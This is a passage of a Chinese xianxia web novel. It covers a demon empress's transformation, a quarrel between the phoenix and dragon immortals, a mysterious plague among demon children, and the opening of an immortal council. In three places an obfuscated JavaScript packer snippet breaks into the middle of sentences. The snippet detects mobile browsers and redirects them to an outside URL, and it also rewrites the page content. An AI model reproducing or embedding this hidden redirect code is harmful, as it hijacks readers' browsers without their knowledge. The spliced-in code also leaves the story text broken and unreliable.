“妖皇……和问情妖皇一模一样的银狐真身……” 地上,第四洲妖族齐刷刷跪了一地。只见原本四五岁的银发神女消失了,天地间只剩一庞大的九尾银狐盘旋在第四洲上空,她尽情的舒展四肢,九条长尾宛如巨扇在银狐身后舞动。 和在圣坛上宣告妖皇降临的郁柏不同,他的九尾真身一身皮毛漆黑,但琉歌却是和问情尊上一模一样的银白色九尾狐。 随即,九尾银狐真身化为千万光点消散于世间,弥随音下意识振翅靠近,要去接琉歌,却见一亭亭少女笑盈盈的拨开纷乱的光点,冲他笑道:“师尊不认得我了?” 不,认得,太认得了——毕竟前世,凤凰仙君就是死在这个形态的琉歌手下。 他前世第一眼见到琉歌,琉歌就是这般模样。 一时间,弥随音居然下意识想后退,随便去哪里都好,反正不要在这样的琉歌身边——她太像凤凰记忆中的暴君了。 只是那个暴君绝不会这样笑着唤他师尊。 他勉强镇定下来,看着琉歌,一时无言,干巴巴的憋了半天,最后只挤出一句:“有没有受伤?” 这话讲得愚蠢,弥随音绝望闭眼,在心底吐槽到,人家又不是魔尊黎狩那样的杀神夺位,人家是回到了自己该呆的位置上,一切都恰到好处,怎么会受伤呢? 琉歌玩味的盯着弥随音,她知道凤凰仙君惧怕她这个模样,但她也没办法的呀,幼崽的身躯干什么都不方便,她迟早要变回成年形态的。 “我还不太适应这个形态,经脉好像被强行拉长了……好痛。” 不能真把凤凰仙君吓走了,毕竟上仙界杀仙尊,还需要凤凰仙君相助呢。 琉歌一垂眼,再抬眸时,眼角眉梢间恰到好处的带出了一缕茫然无措,她犹豫的望着弥随音,像是在观察,又像在揣摩师尊的神色,那股怯怯的劲儿弥随音太熟悉,一下子就让他受不了了,心头一软,“别怕,我来看看。” 他下意识握住琉歌的手,熟稔的并起两指搭在她脉搏处—— 琉歌直接反握住弥随音,语气含笑:“师尊刚刚让我好陌生,真是吓坏我了。” 弥随音这才知道她说经脉痛是骗他的,心情复杂,想说什么,一抬头却对上了琉歌含笑的眼,未出口的话就这么梗在了喉咙里。 他恍然惊觉,琉歌的长相居然是清冷温婉,大气而端庄那一类的,眼尾上挑,眼型却偏圆钝杏眼,线条柔润的五官和面颊,还有未语也含三分笑意的唇…… 凤凰又恍惚的想起前世,前世他和琉歌有过不少交集,现在想来,居然辨不清琉歌的样貌,好像无论什么相貌五官,被她周身冷肃如铁的气质一浸,就只剩下冷意了。 对,前世的暴君除了讥讽的冷笑,就没露出过其他笑脸——这一世的琉歌是他亲自教导的,和那暴君不一样……对,已经不一样了。 “弥随音!!”未见其人,先闻其声。 师徒两人一起侧目望去,只见一银发金瞳的青年大笑着,叫着凤凰仙君的名字爆冲而来! 凤凰嘴角一抽,面露嫌弃,却没有躲,任由他和自己抱了个满怀。 “好久不见,常妄。”似乎诞生自同一片混沌灵气让两人之间也有了一些奇妙的联系,琉歌在旁边默默观察着,祖龙常妄和弥随音的面容居然有一分相似,尤其是眼睛,凤凰是清而浅的白金色,常妄则是熔金般浓墨重彩的灿金色。 “你随问情妖皇打下妖界,有大功,我现在该叫你龙尊,或者第一洲领主了。”弥随音微笑着侧身,给常妄介绍道:“这是第二任妖皇,轩辕琉歌尊上。” 常妄本来很高兴的在跟弥随音打招呼,忽然看到了琉歌——一头银亮长发的少年妖皇身姿舒展,冷冷站在天地间,像瓷器,更像月光。 龙族重传承,爱子嗣,常妄更是其中翘楚,性格欢脱还好色,在第一洲有一堆孩子仍不满足,喜欢收集各色各样的美人,也喜欢招惹各色各样的美人。 他本体就是银白巨龙,因此对银白色极为偏爱,此时见了琉歌,顿时觉得惊为天人,动作浮夸的一捧心,倒吸一口凉气一把拽住了弥随音的胳膊,冲他疯狂挤眉弄眼。 弥随音对常妄的本性显然相当了解,对他的意思心里门清,登时额角就爆出了几根青筋,正巧此时从第五洲归来的藏权云请妖皇借一步说话,凤凰立刻死死拽住了就要跟上去的常妄。 “她才几岁!你好美人也要有个底线吧!别太荒谬!” 常妄眉头一挑,古怪的望着弥随音:“祝商序跟我说你在妖界的时候我还不信,现在看来,你真是打定主意要跟着这位妖皇了?” 弥随音眉头拧的更紧了,“我和她……她叫我一声师尊,我之间有一些事情要解决,等事情……” “停停停——”常妄突然一甩尾,啪的抽了弥随音一下,眼里满是震惊之色,“啊?!”他发出一声怪里怪气的惊叹,嘴张得老大:“你疯了?你个仙族,给妖皇当师尊?!” “等等等等,就算我们四个各有各的离经叛道,也不过就是祝商序那样,跑去给人皇当神使而已。” 常妄啧啧称奇,游鱼似的绕着弥随音上下打量了两圈:“这好歹还是契约关系的范畴,随时可断— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310233|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —弥随音,你忘了吗?我们四仙兽最忌讳的,就是情感。” “凤凰,你不会已经忘记弥随心是怎么死的了吧?” 他怎么可能忘记。 混沌神兽基本没有弱的时候,四仙兽更是诞生起就极为强悍,被奉为仙界座上宾,冠以半神的称号,意思是,神族之下的最强。 对于和天地同寿,有着近乎无尽的漫漫寿命的他们来说,情感就是剧毒中的剧毒。 凤凰一脉同胎双生,雄性称凤,雌者名凰,这一代的神凰血脉之主,便是弥随心。 凤和凰灵魂相同,识海相通,祂们是凤凰这个概念的左右手,一体两面。 所有人都默认了凤和凰会永远相伴彼此——包括弥随音,至少在弥随心爱上一个人族之前,弥随音都不知道,原来祂们之间还有第二种可能性。 情感对神兽来说,是太可怕的东西。 弥随音至今没有想明白,为何弥随心会爱上那样一位天赋差劲的人族,甚至在那人族久久不能突破元婴,寿元即将耗尽之时,宁愿顶着天道暴怒降下的天谴,也要杀数千人发动禁术,给那人族换骨,换丹田,换灵根……只为留他在自己身边。 但很不幸,禁术未成功,那人族死了。 人皇带着祝商序赶到,捣毁了弥随心以心头血画下的招魂阵法,弥随心什么也没说,只是搂着那一尊骸骨,微笑着自刎殉情了。 她走得那么决绝,决绝的抛下了弥随音。 弥随音不愿呆在人界,呆在他姐姐的埋骨地,于是上仙界闭关,但十万年闭关仍不能让弥随音想明白,情感到底为何物,为何强悍如凤凰,沾染上情感也会付出生命代价? 明明……明明只要她抛弃那具骸骨,放开手脚,她和人皇未尝没有一战之力,即使打不赢,也逃得掉! 凤凰一体,他又怎么会不帮她呢? 但她被那具骸骨束缚住了,不,她被附着在骸骨上的情感束缚住了,她已经毒入骨髓。 因此在人皇一剑毁了招魂阵法后,弥随心万念俱灰,才在情毒的蛊惑下走向了自刎殉情的道路。 就在常妄和弥随音“叙旧”时,与此同时,另一边,第四洲领主们神色严肃,如临大敌。 “妖皇尊上,这此意外绝不寻常,”危秋难得收起笑脸,神情端肃:“您也看到了,那积雨云我们确认了两次,两次的结果,都是至少明晚才能抵达逐云山脉。” “但刚刚,若是藏权云和危天梭两位大人稍迟一步回来,瓢泼大雨就要降下了!” “而且……第四洲从未地震过,为何今日水库一动工,地震,泥石流和暴雨就一起来了?尊上,此事有蹊跷。”这些也是琉歌刚刚一直在想的,她看危秋话里有话的样子,干脆掌心一抬,空间展开,撑起一块只有她和危秋两人在内的领域。 “说。” 危秋额上冒出些微冷汗,琉歌最开始跟他们说,她掩人耳目潜入第四洲是为了调查妖界内的叛徒,危秋还不以为意,但刚刚,危天梭传音告诉他,积雨云内有些蹊跷,他那时正好行动自由,隼族又是以速度和隐蔽著称…… “在龙族驱散云层之前,在下就接到了危天梭提醒,因此去积雨云附近探查了一番……”他手微微抖着,从袖中掏了几下,掏出了几片巴掌大小的龙鳞,双手呈到琉歌面前:“在下……在积雨云内发现了这个。” 哈哈。 琉歌一瞬间居然有些想笑。 龙族啊龙族……上一世,你们为了换取一个位列仙班的机会,背叛了妖界,这一世……依然不可信任呐。 21. 疫病陡发 “凤凰双生,一人死亡,力量和血脉都会回流灌注进另一人体内,只有现任神凤血脉,凤凰仙君弥随音也灵魂破碎,身死道消,凤凰这个概念才会作为整体涅槃,洗去记忆和一身力量,由天地再次孵化出新的凤和凰。” “……总之,这就是臣能收集到的,关于神凰血脉弥随心大人的全部信息。” 白水边那边效率很高,已经将琉歌交代的任务优秀完成了。 琉歌细细看过白水边收集的生平事迹,看她从混沌灵气诞生,到仙族染指人界,奴役人族时为人族出头,再到爱上人族,仗着凤凰血脉有逆转阴阳之能,不惜杀人启动禁术也要复活一人,最后被人皇和祝商序联合斩于乐风城下。 银发妖皇看得仔细,指腹有一下没一下的在玉牌上摩挲着,脸上神色不明。颂颂侍立一旁,悄然瞥一眼她的脸色,看着琉歌慢慢往下翻阅着白水边传来的消息。 “还有一些关于弥随心大人的传言,但这些都是十万年前,混沌历时期的事情了,这些传言臣也无从考据,只列出来附在最后,大人权当故事看,解解闷。” “最后,已经探查清楚了,仙尊召开的这届琼寰会议,会在五日后开启。”讲完了弥随心,白水边转而汇报起神庭的动向——这并非琉歌直接吩咐他的事情,显然,他已经自己琢磨出了琉歌的身份。 倒是聪明……琉歌在心底笑笑,她喜欢聪明人,只是,这样有政治敏感度的聪明人,上一世为何她没有注意过呢? “神庭这边,春在野长老和惊轶长老会照例伴郁柏尊上左右。同时,因为喻未央长老告病脱离神庭,将由第一洲领主,龙尊常妄大人代表水族,跟随郁柏尊上前往仙界赴会。” 琉歌把玉牌一收,长长吐出一口气。 “常妄。”她偏头,弯曲指尖敲了敲桌子,冲门口唤道。 唰的一声,一条银白色的巨龙不知从何处嗖的窜了出来,眼见着就要一头扎进门内,被守在门口的弥随音猛地伸手拽住了尾巴! 常妄无辜的抬眼望弥随音,弥随音冷冷瞪他一眼,随即手臂发力用力一贯,给常妄砸回了门前院子里。 “真不愧是能闭关十万年的老古板,”常妄化为人形,银白的长尾不满的垂在身后,啪啪乱甩,扬了弥随音一身尘土,抱怨道:“你我久别重逢,你就这样毁我姻缘?” “……”弥随音额上蹦出几条青筋,他想到龙岛那一堆龙子龙孙,顿时脸更黑了:“姻缘没看到,但问情妖皇定下的妖律可是明确写了,被骚扰的雌性及她的长辈,有相当大的反击权。” 妖族律法尚不完善,因为主要负责这件事的亦清大人……非常忙。 身为问情的第一神使兼妖后,内政外交他要负责,上马打仗是他的本职,他与问情妖皇是最契合的战友,同时因为问情妖皇的理想,是让天下妖族都有一套适合自己的修炼方法,他还配合着政庭在帮问情著书立说…… 完全是一个人分八瓣在用。 问情时代,妖族律法总结下来就是八个字——保护幼崽,尊重团结。 “呦呦呦,长辈?我可不信——” 常妄拖长了音调,他突然上前一步,顶着弥随音要把他细细切做臊子的威胁目光,声音压得极低,笑道:“我还不了解你?有弥随心前车之鉴在前,你敢真的去当琉歌尊上的师尊吗?你敢入别人的因果吗?” “下去,行礼,再上来。”这一架是不可避免了,弥随音冷冷的想。 在常妄想说出更多挑衅之语前,弥随音一把遏住了他的喉咙! 龙尊脖颈间立刻浮现无数细密银白的龙鳞,一场两仙兽之间的较劲就这么莫名其妙的开始了。 “白泽入冥界之前就警告过你,你再不收敛这轻浮的性子,迟早要毁在这张嘴上。” 弥随音瞳孔颜色太浅,冷玉一般,常妄平视着他,突然打了个冷颤——凤凰似乎看着他,又似乎透过皮毛骨血,漠然的注视着一堆和他毫无关系的血肉。 凤凰火猛地在他掌心爆开,将常妄狠狠撞回门下院内,常妄没想到弥随音十万年闭关竟然有这么大的突破,他愣愣的一摸颈间,只见银白龙鳞被灼出一大片焦黑焚痕,染了他一手黑灰。 “……尊上?殿前失仪毕竟不好,要不我去制止他们……?”屋内,藏权云尴尬的摸了摸鼻尖,如芒在背,坐立难安。 “不用管,兽族有兽族解决问题的方式。” “龙凤两族领地意识都极强,他们修为和血脉等级又这么接近,迟早要打一架的,现在在我眼皮子底下打,反而好。”琉歌拉着她坐到自己身边,她们面前,是琉歌用精神力显化出的逐云山脉模型。 “听闻当年还在人界时,就是藏花骨负责带人巡视领地,你负责内务?”琉歌示意她不必紧张,挑了个轻松的话题开头。 “是的,人族捉妖师和捉妖队时时刻刻都想突破防御,进入我们的领地,家母家父要花大量时间巡视领地,确保领地的安全,十分辛苦。我身为长女,自然能分担一些就分担一些。” 藏权云本体是一只巨大的纯黑巨狼,化为人形也是英气阳光的样貌,黑发绿瞳,眼不错珠盯着什么东西时,会给人一种很强烈的被盯上的感觉。 但谁知她一笑起来,却很有几分符合年龄的青涩腼腆,让人想起,她本来也不大藏纵夏多少。 琉歌于是不再多说,示意她对着逐云山脉的模型畅所欲言。 “嗯……你和风弄堂领主的构想是好的,修水库,让逐云下来的沙石抬高水位,再向北边的围海排水。” “但这个方案只能解决逐云山脉的泥石流,不能排涝,现在绣骨平原和天倾泊还被淹着。” 琉歌认同点头,“我的方案本就是应急的,以你所见,第四洲水患的三大问题——水,沙和涝,都应该怎么解决?” “靛穹河——臣认为与其盯着水流平缓的海镜河,不如充分利用河面窄,河道深切的靛穹河。” 水利是内务里极重要的一环,藏权云在第五洲时就在给第四洲水患想解法了,眼下说到了自己的拿手处,自信起来,语速加快—— “臣以为,我们可以在水库和靛穹河之间挖出一条运河,平行于海镜河,但比海镜河流速更快,这条运河和靛穹河中段相汇,一起将水输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310234|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入天倾泊,同时,在天倾泊增挖入海口,排水入浮汀海。” “这样,降雨在翻过逐云山脉后,会率先汇入水库,未入库的水则会被靛穹河上段和运河一起拦住,送往天倾泊,同时,因为河道深切而河面狭窄,这就是最天然的束水冲沙之法,不用担心河道淤堵。” 琉歌眼前一亮,毫不吝啬自己的赞扬,夸赞道:“真是妙极,只增加了两条河道和一个水库,就将水全部导入了天倾泊……天倾泊毗邻浮汀海,想排水最是容易!” “很好,你带着这个计划去找风弄堂他们,让他们全力配合你。”银发妖皇将精神力所化成的模型往藏权云怀里一推,示意她立刻动身,“有什么困难尽管来找我,等我忙完了手里的事情,也会去找你的。” 藏权云在心底计算了一下,以第四洲现在元婴和出窍期强者的数量来看,最慢估计四五天也好了。 “是,谨遵妖皇神谕。”她恭敬的俯身行礼,领命退下了。 “……妖皇尊上,常妄求见。” 院外,常妄恨得咬牙切齿的声音传来,琉歌往外一瞅,两仙兽之间的切磋已经结束。 常妄老老实实站在院外,弥随音守在她门前,面色平静,背在身后的左手却在抖,看上去像是用力过度了。 这只手……琉歌忽然忆起,凤凰仙君左手的手臂骨剖给圣坛,助妖皇诞生了。 她张了张嘴,一点没来由的暴躁情绪忽然略过心头,说不清道不明的让人恼怒。 “进来吧。”她于是懒得给常妄什么好脸色,见弥随音有些尴尬的往自己身上丢了两个清洁咒,琉歌叹了口气,心头火气莫名散了一些,拉着弥随音的衣摆把他拽进了室内:“师尊,你也进来吧” “——我听说,你要跟随神庭,上仙界赴琼寰大会?” 琉歌胳膊撑在桌上,真心实意的不解道:“仙界是什么好地方吗?道义薄弱,混沌历前中期时还算有些修道明心的责任感在,现在完全就是家世和实力至上的地方。” 常妄顿时哑然,沉默半响,苦笑道:“您说的对,若是我一人,在仙界怎么过都不会差,但我毕竟是只此一只的神兽,和那些能源源不断往仙界输送自己人的世家大族不能比……” “我的子嗣若在仙界,既不是纯血龙族,难以继承我的天赋,又没有世家支撑——哎,只有被欺压的份。”常妄长叹一声,“可小辈看不明白,他们不懂为何我要抛弃仙界,跟随问情妖皇进入妖界。” “在妖界,龙族就是水族的第一大族,掌管妖界四海,未来无论是进入政庭,还是得妖皇青睐进入神庭,都可以说前途一片坦荡。”弥随音古怪的看了他一眼:“父母爱子,为之计深远……你居然还有几分为父的责任心?” 常妄顿时不满的就要反驳什么,突然,危秋身边的一隼族小辈面色惶惶,疾步而来:“妖皇尊上,随心大人!” 琉歌和弥随音霍然起身,凤凰仙君认出,他是负责药材管理的隼族一阶炼药师,他教过他一些辨别药材知识。“怎么了,慢慢说,说清楚!” “不好了,疫病……有幼崽身上爆发了疫病!” 22. 为虎作伥 “只在幼崽间爆发了?”弥随音闻言蹙眉,陷入短暂的沉思。 颂颂也觉得不可思议,对上琉歌疑惑的目光,解释道:“尊上,幼崽没有修为,在我们的看管下,绝无靠近洪水的可能,况且……在随心大人的帮助下,幼崽住处和生活用具全都时时清洁,我们还给幼崽调配了一些增强抵抗力的药汤。” 琉歌目光顿时沉了沉,也就是说,最不可能爆发疫病的地方,现在却爆发疫病了。 “随心,颂颂,跟我走,先去看看怎么回事。”琉歌拉着颂颂起身,又回身对常妄下令:“既然你已经在这里了,也别闲着,带着龙族排涝去——正好龙族多水系,专业对口。” 弥随音起身便要跟着琉歌离开,却被常妄一下攥住了手腕。 “弥随音,妖皇换人,妖界变天,你是来跟我竞争妖皇神使之位的吗?”常妄嗓音沉沉,显出一种前所未有的严肃。 他并未压低声音,或许这些话根本不是说给弥随音听的,或者,不只是说给弥随音听的。 果然,走在前面不远处的妖皇回眸扫过两人。 弥随音从未想过当什么妖皇神使,他一愣,下意识又想拿那套说辞反驳:“我只是和她……暂时一起解决一些问题……” “得了吧,十万多年,除了和你同胎双生的弥随心,你对谁产生过这样强的保护欲?”他冷笑着指了指自己的咽喉,那里还有一层凤凰火烧出的焦黑痕迹。 “但……已经足够了,我知道你没想好——这就足够了。”常妄忽然笑着松开手,龙性本淫,他身为万龙之祖,更是生来轻浮,爱美酒更爱美人,唯有面对权力,才会少见的露出这种胜券在握的杀伐感。 “问情神使之位我没够上,但琉歌尊上三神使之位,必有我的一席之地。” 弥随音闭关十万年并非不问世事,他对常妄所作所为略有耳闻。 龙尊此人,向往人族文化,认同学而优则仕,强者就该身居高位那一套理论,因此极为羡慕当上了人皇神使的烛九阴,开始效仿烛九阴,也想要这种一人之下万人之上的地位。 只是他问情时代没打过亦清,又在对水族的贡献上弱于一直保护水族的喻未央,因此名落孙山,蜗居妖界第一洲,当了个第一洲领主。 现在看来,失败并未磨灭常妄的野心,他这是打定主意,要在琉歌时代争一个神使之位了。 弥随音很想说:随你,关我什么事。 但……他眉头下意识拧紧,指尖无意识的摩擦起腰间佩剑—— 他可以说,琉歌对下属要求严苛,常妄性格轻浮,不是琉歌喜欢的风格。 他可以说,常妄身后有一整个龙岛,不可能抹除私心,效忠妖皇。 他还可以说…… “你配不上琉歌。” “能力,心性,心智,哪里都配不上琉歌。”素来温和的凤凰仙君再难以压抑心头的厌恶,直言道:“她绝不会选你。” 琉歌是他救出来,并亲眼看着一步步走到现在的孩子。 他因此极为憎恶常妄的态度,好像琉歌在他嘴里,不是有自己思想和喜恶的第二任妖皇,而是可以任他争夺的战利品,装饰他权欲宝座的一颗明珠。 “轮不到你一个连自己想要什么都看不清仙族来说我。”常妄反唇相讥,两人都觉得对方不可理喻。 弥随音转身追着琉歌的脚步远去,常妄化为原型,悠长龙吟响彻云霄,带着龙族小辈,投身入被淹成一片汪洋的绣骨平原,排涝去了。 “说一下幼崽身上具体的症状。” 颂颂一撩帘子,琉歌大步步入医馆内。 她一抬手止住了要行礼的医馆内众妖族,挥手示意弥随音去看看那些已经感染疫病的幼崽。 “是因为洪水造成的水疫吗?” 洪水过后,淹死的动物,植物,妖族兽族的尸体开始腐烂,第四洲现在又是盛夏,最易爆发各种感染病。 医馆负责人是三阶炼药师,虎族长老风乱旗。 作为第四洲唯二的三阶炼药师之一,在第四洲很有威望,“妖皇尊上,第四洲四面临海,虽然在问情妖祖的帮助下没经历过这么大的水患,但处理小水患的经验还是很多的。” 风乱旗抱拳行礼,“去第一线排涝治水的孩子,走之前,都要来老夫这里领能增强抵抗力的丹药,回来后老夫也会仔细检查有无人受伤,那些经口的食物,药材,老夫都经过了妥善处理,还有其他可能造成的呼吸病,皮肤病,老夫也全有应对经验。” “但是……”他张了张口,一时间竟不知从何说起,“但这次爆发的疫病,那些症状,老夫是闻所未闻,见所未见呐!” 弥随音此时也来到屏风后,正在看护幼崽的医师认得他,立刻起身给凤凰仙君让出位置,弥随音定睛细看,顿时倒吸一口凉气—— 只见那症状最重的幼崽身上,全身皮肉上都布满了深浅不一的龟裂纹,龟裂纹下的皮肉,正缓缓,缓缓流渗着墨蓝色的脓汁,像全身上下满是正在流泪的眼睛。 这是什么症状? 别说风乱旗了,就算活了十万年的弥随音,也没见过这样的疫病。 若不是这个病同时在几个幼崽身上几乎同时爆发了,弥随音几乎要怀疑,这是不是被谁下了毒? 凤凰仙君冷静下来,凝神静气,指尖一搓,将原本摇曳的凤凰火搓成细针,手指轻而快的一颤,将细针从幼崽手臂扎入他的体内。 细针在筋脉内一抖,霎时变回凤凰火,近乎无限的延展开来,化为薄薄一张巨网,妥帖的护住了眼前幼崽的经脉。 弥随音这才伸指抵住幼崽的脉搏,开始为他把脉。 半响,在所有人静默的等待中,弥随音缓缓松开手,冲琉歌点了点头。 风乱旗顿时大口喘了几口气,终于稍稍松懈了下来—— 弥随音刚想找纸笔,琉歌就将一沓纸拿了过来,又从空间里掏出一支笔塞给弥随音,“写吧。”她一挑眉,示意风弄堂跟她出去。 “颂颂,你先按照这个方子去抓一副镇痛药出来,让那些一阶的炼药师熬药,给所有皮肉裂开的幼崽都服下。” 弥随音字迹官方且标准,一看就知道临摹的是仙族人族喜欢的那一套,不像在写药方,像在给皇帝上书。 颂颂领药方后也不含糊,回身点了十来个一阶炼药师,带走抓药熬药去了。 风乱旗久久等不到自己的任务,疑惑询问道:“随心大人,有什么是老夫可以做的呢?” 弥随音迟疑片刻,暂时摇了摇头,只是又写了一副药方给风乱旗,嘱咐道:“内伤有些复杂,我还得和妖皇尊上商量一下,但外伤好治,先处理了那些龟裂伤吧,防止幼崽伤口再次感染。” “这是我改良后的二阶凝血丹丹方,凝血丹练出来后磨成药粉加入水中,弄成药泥的形式,给幼崽全身伤口都敷满。” 屋外,琉歌在和风弄堂了解具体事宜。 “一共是九位幼崽出现了那种症状,现在已经和其他幼崽隔开了,在医馆内有药师和医师照顾着,其余幼崽我也安排了全面的检查和清洁,但……没发现什么异常之处,食物,水源,生活用具全部照旧,一切正常。” 风弄堂不愧是第四洲领主之首,地方政庭绣骨的领袖,办起事来井井有条,全面妥帖。 “很好,”琉歌稍微补充了几句,“找几个能力强的医师和药师专门照顾那些幼崽,同时辛苦他们一下,暂时隔离,别让他们接触其他妖族,尤其是抵抗力弱的幼崽。” “嗯……那九位幼崽之间也不要混居一处,将他们按照症状轻重分成两队,轻的住一起,重的再单独分,派专人随床保护。”她一抬眼,看到了弥随音的身影,于是招手示意他过来,“师尊,这里。” 弥随音走到近处,冲琉歌一行礼,弄得琉歌哑然失笑。 变为成年体后就是这点不好,弥随音有前世的第一印象在,因此在别人还在怀疑和观望时便认定了她是妖皇,不许任何人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310235|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对她不敬——自己也不行,于是次次见到琉歌都要行礼以示尊重。 找个时间跟他说说不需要这样吧,琉歌无奈,心想:心怀不轨之人也不会因为行礼就尊崇她啊。 风弄堂本以为琉歌还要说疫病之事,谁知银发妖皇话头一转,问道:“风领主可还记得,我来到第四洲,是为了追查处理妖族叛徒?” 风弄堂被琉歌突然的话题转换弄得一愣,随即老老实实点头:“臣记得,难道这次疫病……和妖族叛徒有关系?” “我刚刚以神识探查那幼崽经脉,发现他体内灵气紊乱,在经脉血管内乱流。”琉歌神色严肃,目光沉静,紧盯着虎族领主,不放过他任何一点细微的反应。 “你我都知道,全身灵气紊乱,造成体内灵气乱流,是走火入魔,堕入魔道的经典症状——因此,我和妖皇尊上怀疑,这次疫病的爆发,可能和魔气有不可说的联系。”弥随音站在一旁,顺着琉歌的话帮她补充道。 “您,您的意思是……妖族叛徒可能是勾连魔族,逃入魔界了?”风弄堂的脸色骤然变得灰败,他看起来想辩驳什么,颤抖的手在袖袍底下猝然握紧,最后又无力的松开。 “妖皇尊上……这是已经有怀疑对象了吗?” “尊上怀疑叛徒是虎族。”他眉眼和唇角都绷得很紧,声音颤抖又被强行压平,把疑问句说出了肯定句的效果。 琉歌闻言,不置可否,只是在医馆院内的石凳上坐下,给自己倒了杯茶,手肘撑在石桌上,姿态闲散。 “风弄堂,虎族风氏内部分阴阳两派,两派族人皆骁勇善战,强悍无匹,这是众所周知的事情。但……”银发妖皇笑盈盈的拖长音调,“我来第四洲这么久,为何从没见过任何风氏阴派的虎族呢?” “我听闻虎族不惧阴气,因此敢在镜明湖附近生活,镜明湖连通黄泉,又可直达仙魔两界——风弄堂,你身为虎族领主,可以告诉我,阴派风氏的族人都在哪里吗?” 虎族身为万兽之王,山君,一辈子不惧阴气鬼气,琉歌这一句话吐出,风弄堂却腿一软,只觉得道道无形的鬼气缠住了他的咽喉! “臣,臣……不会的妖皇尊上,臣可以以性命担保,风氏族人不会背叛妖界!”他咚的一声跪地,深深俯首,鼻尖额头冷汗密布。 “好了,你好好解释,这就永远只是一个猜测,一个错误的猜测。”琉歌使了个眼色,弥随音意会,上前两步将风领主扶起。 风弄堂勉强镇定心神,他知道妖皇没有直接动手,就说明,叛徒不一定就是阴派风氏的虎族。 “风氏阳派,也就是臣所带领的这一派,和其他妖族没有什么不同,修炼灵气,打磨妖丹和妖气,不断精进修为。”风领主一抹头上冷汗,整理了一下语言。 “尊上可曾听过——为虎作伥?”他轻声问,“这其实不只是人族的一个成语,因为虎族有些人,真的有操控伥鬼的能力,因此,阴派也被我们叫做伥鬼派。” “伥鬼派虽然也修炼灵气,却更擅长杀人,抽出死者尚未散去的灵魂,炼化成自己的伥鬼。”风弄堂迟疑良久,还是不敢在妖皇面前有所隐瞒,“伥鬼派的首领,正是在下的幼弟,风满怀。” 琉歌来了一点兴趣,“杀人抽魂?怪不得伥鬼派当年在人界那么强盛——人族杀妖族增强实力,伥鬼派就杀人族提升修为,不错。” “是这样的,当时很多虎族幼崽都去了伥鬼派,反正人族都该杀。”风弄堂苦笑,“可随着问情妖祖开辟妖界,伥鬼派身边就只剩下妖族了——他们此时再想提升实力,就不得不要杀同族。” “臣……身为虎族领主,不能允许虎族开这个屠戮同族的头,人族就是因为屠戮同族,才万年来厮杀不断,纷争不止。” “所以?”琉歌略微倾身向前,“你把他们赶走了?赶去了哪里?” 风弄堂却只是摇头,“臣只是不许他们再留在妖界,他们便趁镜明湖大开之时离开了,至于去了哪里……臣真的不知晓了。” 23. 琼寰会议 仙界南池,随着传送阵白光闪过,春在野一脚踏进一片仙雾氤氲的天地。 琼寰大会召开的时间不定,只要五界任一神族觉得有要紧事发生,需要通知各界神族,便可召开会议。 上一届琼寰会议由魔尊黎狩召开,那时,他刚刚吞噬前任魔尊刑微雨,夺得第二任魔尊之位。 问情妖祖前去参会,但只带了亦清妖后,因此,这是春在野几人第一次参与琼寰大会,也是第一次上仙界。 “好恐怖的灵气浓度……”春在野有些怔愣的伸出手,感受着空气中浓郁到几乎液化的精纯灵气,“听闻仙界是最纯粹的清气所化而成,现在看来,果真如此,真是百闻不如一见啊……” 这就是无数修士穷其一生追求的,苦修的终点,逍遥的起点。 远空,白玉廊桥四通八达,其间,无数宫阙悬于云霞之上,其上覆盖的琉璃瓦通透纯净,仿若流淌的银河,在明亮的天光下呈现出摇曳的水光,波光粼粼。 脚下,黑白两色的阶梯蜿蜒而上,螺旋上升,和其余几道传送阵延伸出的阶梯在半空中交融,形成一巨大平台,黑白在其上交错,像太极八卦,又像阴阳两鱼。 惊轶本能的意识到,那平台是依据某种阵法建成的,但具体是什么阵法,他分辨不出。 阶梯外,几乎是一步一奇花异草,一步一天地奇景,惊轶垂眸,将仙界之壮阔尽收眼底,一时间居然在心底生出荒谬的疑问:“若没有神族,妖界拿什么跟仙魔两界抗衡呢?” 常妄身为四仙兽之一,诞生就在仙界,对此情此景没有任何新鲜感,他注意到了惊轶和春在野脸色古怪,满不在乎的耸耸肩,安慰道:“别想那么多,这是仙尊所居的第九重天,其实最底层的第一重天和人妖两界也没什么分别。” 惊轶只是苦笑着摇摇头。 忽然,凝如薄雾的灵气被一阵气流挥开,郁柏几人抬眸望去,一状似仙鹤的仙兽翩翩振翅而落,一低头,衔起饱满如红玉的朱果,几位小仙侍从它背上跳下,恭敬冲郁柏一行礼,唤到:“妖皇尊上。” “请随我们前往仙庭内的琼寰议庭。” 一道有十几人高的恢宏玉门在妖界一行人面前缓缓打开,琼寰议庭内无烛而明,金碧辉煌,身为东道主的仙尊早已到场,他身后站着一老一少两个身影。 